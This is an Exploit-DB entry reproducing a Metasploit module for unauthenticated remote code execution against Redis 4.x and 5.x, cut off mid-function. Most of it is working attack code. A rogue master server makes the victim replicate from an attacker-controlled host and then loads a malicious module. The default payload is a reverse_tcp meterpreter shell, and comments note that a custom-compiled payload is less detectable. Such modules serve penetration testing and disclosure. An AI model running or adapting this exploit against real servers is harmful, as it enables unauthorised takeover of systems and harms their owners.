Exploit-DB #47195
Description: Redis 4.x / 5.x - Unauthenticated Code Execution (Metasploit)
Type: remote
Platform: linux
Date: 2019-07-30
Author: Metasploit

Exploit:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::TcpServer
  include Msf::Exploit::CmdStager
  include Msf::Exploit::FileDropper
  include Msf::Auxiliary::Redis

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Redis Unauthenticated Code Execution',
      'Description'    => %q{
        This module can be used to leverage the extension functionality added by Redis 4.x and 5.x
        to execute arbitrary code. To transmit the given extension it makes use of the feature of Redis
        which called replication between master and slave.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Green-m  <greenm.xxoo[at]gmail.com>'     # Metasploit module
        ],
      'References'     =>
        [
          [ 'URL', 'https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf'],
          [ 'URL', 'https://github.com/RedisLabs/RedisModulesSDK']
        ],

      'Platform'       => 'linux',
      'Arch'           => [ARCH_X86, ARCH_X64],
      'Targets'        =>
        [
          ['Automatic',  {} ],
        ],
      'DefaultOptions' => {
          'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',
          'SRVPORT' => '6379'
        },
      'Privileged'     => false,
      'DisclosureDate' => 'Nov 13 2018',
      'DefaultTarget'  => 0,
      'Notes'          =>
        {
          'Stability'   => [ SERVICE_RESOURCE_LOSS],
          'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS, ]
        },
      ))

    register_options(
      [
        Opt::RPORT(6379),
        OptBool.new('CUSTOM', [true, 'Whether compile payload file during exploiting', true])
      ]
    )

    register_advanced_options(
      [
        OptString.new('RedisModuleInit', [false, 'The command of module to load and unload. Random string as default.']),
        OptString.new('RedisModuleTrigger', [false, 'The command of module to trigger the given function. Random string as default.']),
        OptString.new('RedisModuleName', [false, 'The name of module to load at first. Random string as default.'])
      ]
    )
    deregister_options('URIPATH', 'THREADS', 'SSLCert')
  end

  #
  # Now tested on redis 4.x and 5.x
  #
  def check
    connect
    # they are only vulnerable if we can run the CONFIG command, so try that
    return Exploit::CheckCode::Safe unless (config_data = redis_command('CONFIG', 'GET', '*')) && config_data =~ /dbfilename/

    if (info_data = redis_command('INFO')) && /redis_version:(?<redis_version>\S+)/ =~ info_data
      report_redis(redis_version)
    end

    Exploit::CheckCode::Vulnerable
  ensure
    disconnect
  end

  def exploit
    if check_custom
      @module_init_name = datastore['RedisModuleInit']    || Rex::Text.rand_text_alpha_lower(4..8)
      @module_cmd       = datastore['RedisModuleTrigger'] || "#{@module_init_name}.#{Rex::Text.rand_text_alpha_lower(4..8)}"
    else
      @module_init_name = 'shell'
      @module_cmd       = 'shell.exec'
    end

    if srvhost == '0.0.0.0'
      fail_with(Failure::BadConfig, 'Make sure SRVHOST not be 0.0.0.0, or the slave failed to find master.')
    end

    #
    # Prepare for payload.
    #
    #  1. Use custcomed payload, it would compile a brand new file during running, which is more undetectable.
    #     It's only worked on linux system.
    #
    #  2. Use compiled payload, it's avaiable on all OS, however more detectable.
    #
    if check_custom
      buf = create_payload
      generate_code_file(buf)
      compile_payload
    end

    connect

    #
    # Send the payload.
    #
    redis_command('SLAVEOF', srvhost, srvport.to_s)
    redis_command('CONFIG', 'SET', 'dbfilename', "#{module_file}")
    ::IO.select(nil, nil, nil, 2.0)

    # start the rogue server
    start_rogue_server
    # waiting for victim to receive the payload.
    Rex.sleep(1)
    redis_command('MODULE', 'LOAD', "./#{module_file}")
    redis_command('SLAVEOF', 'NO', 'ONE')

    # Trigger it.
    print_status('Sending command to trigger payload.')
    pull_the_trigger

    # Clean up
    Rex.sleep(2)
    register_file_for_cleanup("./#{module_file}")
    #redis_command('CONFIG', 'SET', 'dbfilename', 'dump.rdb')
    #redis_command('MODULE', 'UNLOAD', "#{@module_init_name}")

  ensure
    disconnect
  end

  #
  # We pretend to be a real redis server, and then slave the victim.
  #
  def start_rogue_server
    socket = Rex::Socket::TcpServer.create({'LocalHost'=>srvhost,'LocalPort'=>srvport})
    print_status("Listening on #{srvhost}:#{srvport}")
    rsock = socket.accept()
    vprint_status('Accepted a connection')

    # Start negotiation
    while true
      request = rsock.read(1024)
      vprint_status("in<<< #{request.inspect}")
      response = ""
      finish = false

      case
      when request.include?('PING')
        response = "+PONG\r\n"
      when request.include?('REPLCONF')
        response = "+OK\r\n"
      when request.include?('PSYNC') || request.include?('SYNC')
        response  = "+FULLRESYNC #{'Z'*40} 1\r\n"
        response << "$#{payload_bin.length}\r\n"
        response << "#{payload_bin}\r\n"
        finish = true
      end

      if response.length < 200
        vprint_status("out>>> #{response.inspect}")
      else
        vprint_status("out>>> #{response.inspect[0..100]}......#{response.inspect[-100..-1]}")
      end

      rsock.put(response)

      if finish
        print_status('Rogue server close...')
        rsock.close()
        socket.close()
        break
      end
    end
  end

  def pull_the_trigger
    if check_custom
      red